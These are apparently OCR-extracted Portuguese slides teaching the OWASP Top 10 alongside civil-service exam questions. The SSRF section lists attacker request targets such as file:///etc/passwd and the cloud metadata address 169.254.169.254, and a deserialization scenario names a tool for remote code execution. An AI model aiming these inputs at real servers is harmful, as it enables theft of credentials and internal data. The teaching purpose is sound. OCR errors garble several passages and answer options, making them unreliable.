da falta de monitorizacao e os seus ficheiros de registo depois de realizar testes | €orram aumenta a taxa de sucesso
capacidade de resposta atempada de intrus&o. As acdes dos auditores devem ter sido | P&ra perto dos 100%. Em 2016, a
para atingirem os seus objetivos sem registadas com detalhe suficiente para perceber que identificacdo duma falha levava em
serem detetados. danos possam ter sido infligidos. media cerca de 191 dias — tempo q.b.
para que algum tipo de dano pudesse
ser inflingido.




Exemplo Registro e
Insuficie

Monitorizacao
nte

Cenario #1: Um projeto de coédigo aberto de um forum mantido por uma
equipa pequena foi comprometido, abusando duma vulnerabilidade do
proprio software. Os atacantes conseguiram ter acesso ao repositorio
interno onde estava o codigo da proxima versao assim com todos os
conteudos. Embora o codigo fonte possa ser recuperado, a falta de
monitorizacao, registo e alarmistica tornam o incidente mais grave. O
projeto foi abandonado em consequéncia deste incidente.

Cenario #2: Um atacante usa uma ferrame
de uma palavra-passe comum por forma a

nta automatica para testar o uso
ganhar controlo sobre as contas

gue usam essa password. Para as outras contas esta operacao deixa apenas
registo duma tentativa de autenticacao falhada, podendo ser repetida dias

depois com outra palavra-passe.



Prevencao Registro e Monitorizacao Insuficiente

Dependendo do risco inerente a informagao armazenada ou
processada pela aplicacao:

* Assegurar que os registos usam um formato que possa ser
facilmente consumido por uma solugao de gestao de registos
centralizada.

* Assegurar que as transacoes mais criticas tém registo
pormenorizado para auéitoria com controlos de integridade para
prevenir adulteracao ou remocao tais como tabelas de base de
dados que permitam apenas adicao de novos registros.

* Definir processos de monitorizagao e alerta capazes de detetar
atividade suspeita e resposta associada.



Q1) [AOCP TCE PA 2012] O Open Web Application Security Project (OWASP) é

a) um instituto que executa projetos de softwares, envolvendo seguranca
maxima, para as agéencias governamentais que possuam aplicacoes na Web.

b) uma comunidade que trata de padroes de seguranca em softwares livres, ou
sob licenca GPL, para o desenvolvimento de aplicacdes Web.

c) uma organizacao aplicada em definir projetos seguros de software
estabelecendo requisitos minimos de seguranca.

d) uma associacao profissional de membros globais aberta as pessoas
interessadas em aprender sobre seguranca de software.

e) uma organizacao que rege os padroes da seguranca da Internet e suas
aplicacoes.
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Q2) [CESGRANRIO BNDES 2013] A comunidade aberta da OWASP (Open Web Application Security
Project) é dedicada a prover recursos para que as organizacoes possam conceber, desenvolver,
adquirir, operar e manter aplicacdes que possam ser confiaveis.

Dentre os 10 mais criticos riscos de seguranca apontados pela OWASP para aplicacoes Web esta o
atague conhecido como XSS que visa ao(a)

a) processamento de paginas sem scripts no navegador da vitima que podem sequestrar sessdes do
usuario, desfigurar sitios web ou redirecionar o usuario para sitios maliciosos.

b) processamento de paginas sem scripts no navegador da vitima que podem apenas desfigurar sitios
web ou redirecionar o usuario para sitios maliciosos.

c) processamento de pdaginas sem scripts no navegador da vitima que podem apenas redirecionar o
usuario para sitios maliciosos.

d) execucao de scripts no navegador da vitima que podem sequestrar sessdoes do usuario, desfigurar
sitios web ou redirecionar o usuario para sitios maliciosos.

e) execucao de scripts no navegador da vitima que podem apenas desfigurar sitios web ou
redirecionar o usuario para sitios maliciosos.
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Q3) [FUMARC TJ-MG 2012] Associe os termos aos conceitos que os definem corretamente:
. ITIL.

Il. OWASP.

1. ISO/IEC 27001.

() Conjunto de melhores praticas para a gestao de servicos em Tl e para o alinhamento desta area com os
negocios da empresa.

() Organizacao focada em melhorar a seguranca de softwares, em especial os softwares baseados na web.

() Modelo para estabelecer, implementar, operar, monitorar, revisar, manter e melhorar um Sistema de Gestao
de Seguranca da Informacao (SGSI).

Esta CORRETA a seguinte seqliéncia de respostas:

a)l, llell
b) I, Ml ell.
)il el

d) i, el



Q3) [FUMARC TJ-MG 2012] Associe os termos aos conceitos que os definem corretamente:
. ITIL.

Il. OWASP.

1. ISO/IEC 27001.

() Conjunto de melhores praticas para a gestao de servicos em Tl e para o alinhamento desta area com os
negocios da empresa.

() Organizacao focada em melhorar a seguranca de softwares, em especial os softwares baseados na web.

() Modelo para estabelecer, implementar, operar, monitorar, revisar, manter e melhorar um Sistema de Gestao
de Seguranca da Informacao (SGSI).

Esta CORRETA a seguinte seqliéncia de respostas:

a)l, llell
b) I, Ml ell.
o)L llel

d) i, el



Q4) [CESPE ABIN 2018] Acerca de testes de penetracao, julgue o item
seguinte.

Situacao hipotética: O acesso a uma aplicacao web com permissao de
administrador é realizado por meio do valor informado em uma
variavel, conforme a seguir.

http://www.site.com.br/aplicacacao?profile=as cs23f8g7por04

Assertiva: Nesse caso, de acordo com a OWASP (Open Web
Application Security Project), o teste de penetracao black-box
automatizado é efetivo para encontrar uma vulnerabilidade, dados o
valor fixo para a variavel e a forma de passagem: pedido via GET.
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Q5) [INSTITUTO AOCP IBGE 2019] Irineu pretende testar a seguranca da
informacao de uma empresa atravées de testes realizados dentro da sua rede de
internet. Ele pretende contratar uma empresa para encontrar potenciais
vulnerabilidades de acesso aos dados que sao coletados e armazenados na sua
organizacao através da aplicacao de sistemas de deteccao de intrusao. Qual dos
seguintes tipos de testes essa aplicacao realiza?

a) ISSAF.
b) OWASP.
c) DDoS.
d) Pentest.

e) Red Team.
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OWASP Top 10 - 2021

* A01: 2021-Quebra de Controle de acesso: Subiu da quinta par a primeira
posicao; 94% das aplicacoes foram testadas para alguma forma de
comprometimento do controle de acesso. Os 34 CWEs mapeados para
Quebra de Controle de Acesso tiveram mais ocorréncias em aplicativos do
gue qualquer outra categoria.

e A02: 2021-Falhas criptograficas: sobe uma posicao para o n? 2,
anteriormente conhecido como Exposicao de dados confidenciais, que era
um sintoma amplo, e nao uma causa raiz. O foco aqui esta nas falhas
relacionadas a criptografia, que geralmente levam a exposicao de dados
confidenciais ou comprometimento do sistema.

* A03: 2021-Injecao: desce para a terceira posicao. 94% das aplicacdoes foram
testados para alguma forma de injecdo, e os 33 CWEs mapeados nesta
categoria tém o segundo maior numero de ocorrénciass. Cross-site Scripting
agora faz parte desta categoria nesta edicao.



OWASP Top 10 - 2021

* AO4: 2021-Design mse%uro € uma nova categoria para 2021, com foco nos
riscos reIauonados a falhas de design. Se quisermos genumamente ‘ir para a
esquerda”, isso exige mais uso de modelagem de ameacas, padrdes e
principios de design seguro e arquiteturas de referéncia.

* A05: 2021-Configuracao incorreta de seguranga: Subiu uma posi¢gdo em
relagao a edicao anterior; 90% dos aplicativos foram testados para algum tipo
de configuragao_ mcorreta Com mais mudancas em softwares altamente
configuraveis, nao é surpreendente ver essa categoria subir. XML External
Entities (XXE) agora faz parte desta categoria.

* A06: 2021-Componentes vulneraveis e desatualizados: era anteriormente
intitulado “Usando componentes com vulnerabilidades conhecidas” e € o
numero 2 na pesquisa do setor, mas também tinha dados suficientes para
chegar aos 10 principais por meio de analise de dados. Esta categoria passou
da 92 posicao em 2017 e € um problema conhecido que temos dificuldade
em testar e avaliar o risco.



OWASP Top 10 - 2021

* A07: 2021-Quebra de identificacao e autenticacao: anteriormente definida
como “Quebra de autentica¢do”, desceu da se%unda para a sétima posicao e
agora inclui CWEs que estao relacionados a falhas de identificacao.

* A08: 2021-Falhas de software e integridade de dados: € uma nova categoria
para 2021, com foco em fazer suposicoes relacionadas a atualizacoes de
software, dados criticos e pipelines de Cl / CD sem verificar a integridade. A
“desserializacao insegura” de 2017 agora faz parte dessa categoria maior.

* A09: 2021 - Falhas de registro e monitoramento de seguranca:
anteriormente definida como “Registro e monitoramento insuficientes”, esta
categoria foi expandida para incluir mais tipos de falhas.

* A10: 2021-Falsificacao de solicitacao do lado do servidor: Os dados mostram
uma taxa de incidéncia relativamente baixa com cobertura de teste acima da
média, junto com classificacdes acima da média para potencial de exploracao
e impacto.



OWASP Top 10 - 2021

2017 2021
A01:2017-Injection A01:2021-Broken Access Control
A02:2017-Broken Authentication A02:2021-Cryptographic Failures
A03:2017-Sensitive Data Exposure >A03:2021-Injection
A04:2017-XML External Entities (XXE) [New) A04:2021-Insecure Design
A05:2017-Broken Access Control A05:2021-Security Misconfiguration
A06:2017-Security Misconfiguration A06:2021-Vulnerable and Qutdated Components
A07:2017-Cross-Site Scripting (XSS) A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization (New! A08:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities {/>A09:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring (New) A10:2021-Server-Side Request Forgery (SSRF)*

*From the Survey



Design Inseguro

* O design inseguro € uma categoria ampla que representa diferentes pontos
fracos, expressos como "design de controle ausente ou ineficaz".

* O design inseguro nao € a fonte de todas as outras 10 categorias de risco. Ha
uma diterenca entre design inseguro e implementagdo insegura.

* Diferenciamos entre falhas de design e defeitos de implementagao por um
motivo, eles tém diferentes causas-raiz e remediacao.

 Um design seguro ainda pode ter defeitos de implementacao levando a
vulnerabilidades que podem ser exploradas. Um design inseguro nao pode
ser corrigido por uma implementacao perfeita, pois, por definicao, os
controles de seguranca necessarios nunca foram criados para se defender
contra ataques especificos.

 Um dos fatores que contribuem para o design inseguro € a falta de perfil de
risco de negocios inerente ao software ou sistema que esta sendo
desenvolvido e, portanto, a falha em determinar qual nivel de design de
seguranca € necessario.



Design Inseguro - Cenarios de Ataques

* Cenario #1: Uma cadeia de cinemas permite descontos em reservas de
grupos e tem um maximo de quinze participantes antes de exigir um
deposito. Os invasores poderiam modelar esse fluxo e testar se poderiam
reservar seiscentos assentos e todos os cinemas de uma sé vez em poucas
solicitacdes, causando uma enorme perda de receita.

* Cenario #2: O site de comércio eletronico de uma rede de varejo nao tem
protecao contra bots executados por cambistas que compram placas de video
de alta qualidade para revender sites de leildes. Isso cria uma publicidade
terrivel para os fabricantes de placas de video e donos de cadeias de varejo e
para os entusiastas que nao podem obter essas placas a qualquer preco. O
design antibot e as regras de l6gica de dominio cuidadosas, como compras
feitas dentro de alguns segundos de disponibilidade, podem identificar
compras nao auténticas e rejeitar essas transacoes.



Design Inseguro - Prevencao

* Estabeleca e use uma biblioteca de padrdes de projeto seguros ou
componentes prontos para uso de estradas pavimentadas.

* Use a modelagem de ameacas para autenticagao critica, controle de acesso,
|6gica de negocios e fluxos de chaves.

* Escreva testes de unidade e integracdo para validar se todos os fluxos criticos
sdo resistentes ao modelo de ameaga. Compile casos de uso e casos de uso
indevido para cada camada de seu aplicativo.

* Limitar o consumo de recursos por usuario ou servico.

* Estabeleca e use um ciclo de vida de desenvolvimento seguro com
profissionais da AppSec para ajudar a avaliar e projetar controles
relacionados a seguranca e privacidade.

* Segregar camadas de camadas no sistema e nas camadas de rede,
dependendo das necessidades de exposicao e protecao.



Falhas de Software e Integridade de Dados

* As falhas de integridade de software e dados estao relacionadas a cédigo e

infraestrutura que nao protegem contra violacoes de integridade.

Um exemplo disso € quando um aplicativo depende de plugins, bibliotecas ou
modulos de fontes nao confiaveis, repositorios e redes de entrega de
conteudo (CDNSs).

Um pipeline de CI/CD inseguro pode introduzir o potencial de acesso nao
autorizado, codigo malicioso ou comprometimento do sistema.

Por fim, muitos aplicativos agora incluem a funcionalidade de atualizacao
automatica, em que as atualizacdes sao baixadas sem verificacao de
integridade suficiente e aplicadas ao aplicativo anteriormente confiavel. Os
invasores podem fazer upload de suas proprias atualizacdes para serem
distribuidas e executadas em todas as instalacoes.

Outro exemplo € quando objetos ou dados sao codificados ou serializados em
uma estrutura que um invasor pode ver e modificar e vulneravel a
desserializacao Insegura.



Falhas de Software e Integridade de Dados - Cenarios
Ataques

e #Cenario 1: Atualizar sem assinar: muitos roteadores domesticos, decodificadores,
firmware de dispositivo e outros nao verificam atualizacdes por meio de firmware
assinado. Firmware nao assinado é um alvo crescente para invasores e espera-se que
sO piore. Esta € uma grande preocupacao, pois muitas vezes nao ha mecanismo para
corrigir além de corrigir em uma versao futura e esperar que as versoes anteriores
expirem.

e #Cenario 2: SolarWinds malicious update: A empresa que desenvolve o software tinha
processos seguros de integridade de compilacao e atualizacao. Ainda assim, eles
puderam ser subvertidos e, por varios meses, a empresa distribuiu uma atualizacao
maliciosa altamente direcionada para mais de 18.000 organizacdes, das quais cerca de
100 foram afetadas. Esta € uma das violacdes mais abrangentes e significativas dessa
natureza na historia.

e #Cenario 3: Desearilizagcao insegura: Um aplicativo React chama um conjunto de
microsservicos Spring Boot. Sendo programadores funcionais, eles tentaram garantir
ue seu cc')cf'go fosse imutavel. A solucao que eles encontraram foi serializar o estado
go usuario e passa-lo para frente e para tras a cada solicitacao. Um invasor percebe a
assinatura do objeto Java "rO0" (em base64) e usa a ferramenta Java Serial Killer para

obter a execucao remota de codigo no servidor de aplicativos.



Falhas de Software e Integridade de Dados - Prevencao

e Use assinaturas digitais ou mecanismos semelhantes para verificar se o
software ou os dados sao da fonte esperada e nao foram alterados.

e Garanta que bibliotecas e dependéncias, como npm ou Maven, estejam
consumindo repositorios confiaveis. Se vocé tiver um perfil de risco mais alto,
considere hospedar um repositorio interno em boas condicoes que seja
verificado.

* Certifigue-se de que haja um processo de revisao para alteracdes de codigo e
configuracao para minimizar a chance de que coédigo ou configuracao mal-
intencionados possam ser introduzidos em seu pipeline de software.

* Certifique-se de que seu pipeline de CI/CD tenha segregacao, configuracao e
controle de acesso adequados para garantir a integridade do codigo que flui
pelos processos de compilacao e implantacao.



Falsificacao de solicitacao do lado do servidor

* As falhas do SSRF ocorrem sempre que um aplicativo da Web esta buscando
um recurso remoto sem validar a URL fornecida pelo usuario. Ele permite que
um invasor force o aplicativo a enviar uma solicitacao criada para um destino
inesperado, mesmo quando protegido por um firewall, VPN ou outro tipo de

lista de controle de acesso a rede (ACL).

* Como os aplicativos da Web modernos fornecem aos usuarios finais recursos
convenientes, a busca de uma URL se torna um cenario comum. Como
resultado, a incidéncia de SSRF esta aumentando.

* Além disso, a gravidade do SSRF esta se tornando maior devido aos servigos

em nuvem e a complexidade das arquiteturas.
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Falsificacao de solicitacao do lado do servidor -
Cenarios

Os invasores podem usar o SSRF para atacar sistemas protegidos por firewalls de
aplicativos da Web, firewalls ou ACLs de rede, usando cenarios como:

1.

Servidores internos de varredura de portas — Se a arquitetura de rede nao for
segmentada, os invasores podem mapear redes internas e determinar se as portas
estao abertas ou fechadas em servidores internos a partir dos resultados da conexao
ou do tempo decorrido para conectar ou rejeitar conexdes de carga util SSRF.

Exposicao de dados confidenciais — os invasores podem acessar arquivos locais ou
servicos internos para obter informacoes confidenciais, como
file:///etc/passwd</span> e http://localhost:28017/.

Acessar armazenamento de metadados de servicos em nuvem — A maioria dos
provedores de nuvem possui armazenamento de metadados, como
http://169.254.169.254/. Um invasor pode ler os metadados para obter informacoes
confidenciais.

Comprometer servigos internos — O invasor pode abusar de servicos internos para
conduzir ataques adicionais, como Execucao Remota de Cddigo (RCE) ou Negacao de
Servico (DoS).



Falsificacao de solicitacao do lado do servidor -

Prevencao
1. Camada de Rede:

* Segmente a funcionalidade de acesso remoto a recursos em redes separadas
para reduzir o impacto do SSRF.

* Aplique politicas de firewall “negar por padrao” ou regras de controle de
acesso a rede para bloquear todo o trafego de intranet, exceto o essencial.

1. Camada de Aplicacao:
* Valide todos os dados de entrada fornecidos pelo cliente.

* Aplique o esquema de URL, a porta e o destino com uma lista de permissoes
positiva.

e Desabilitar redirecionamentos HTTP.

e Esteja ciente da consisténcia do URL para evitar atagues como religacao de
DNS .



